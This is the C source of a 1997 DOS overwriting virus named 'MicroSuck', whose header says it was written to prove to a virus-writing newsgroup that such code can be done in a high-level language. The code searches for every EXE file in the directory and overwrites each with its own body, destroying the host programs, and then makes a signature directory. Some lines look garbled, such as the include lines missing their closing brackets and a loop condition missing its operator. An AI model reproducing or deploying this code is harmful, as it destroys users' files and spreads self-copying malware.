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42 lines
1.9 KiB
C
42 lines
1.9 KiB
C
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/* MicroSuck V.1.0 (c)YeahRight! 1997 By: Techno Phunk
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one of many high level language viruses writen to shut
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up some of the people in a.c.v.s.c (alt.comp.virus.source.code)
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and to show them that it can be done (even by me who has only about
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2 hours of C++ experience) compile with tc.exe (editor), exe normal
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This is based on the C++ virus in virology 101, since it is what I
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looked at to see how to write a virus in C++ I added something
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before puting it here, and forgot to check for the new size
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so YOU will have to compile it once, look at the size, then change
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the variable x to the size....otherwise the "virus" will not be copied
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compleatly */
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#include <stdio.h
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#include <dir.h
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#include <dos.h
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FILE *Virus,*Host;
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char buff[512];
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int x,y,done;
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struct ffblk ffblk;
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int main()
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{
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done = findfirst("*.EXE",&ffblk,0); /* Find a host (EXE file) */
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while (!done)
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{
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Host=fopen(ffblk.ff_name,"rb+"); /* Open host */
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Virus=fopen(_argv[0],"rb"); /* Open our virus */
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/* may need to modify the next line */
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x=12099; /* our lifeforms size */
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while (x512) /* here we overwrite the host */
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{ /* 512 byte chunks at a time */
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fread(buff,512,1,Virus); /* ^ sector size ;), could be anything */
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fwrite(buff,512,1,Host);
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x-=512;
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} /* if 512 or less byes */
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fread(buff,x,1,Virus); /* Finish infection */
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fwrite(buff,x,1,Host);
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fcloseall(); /* Close */
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done = findnext(&ffblk); /* try agian */
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}
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mkdir ("MicroSuck (c) 1997 By: Techno Phunk") /* activation would go */
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/* here */
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return (0); /* Terminate */
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}
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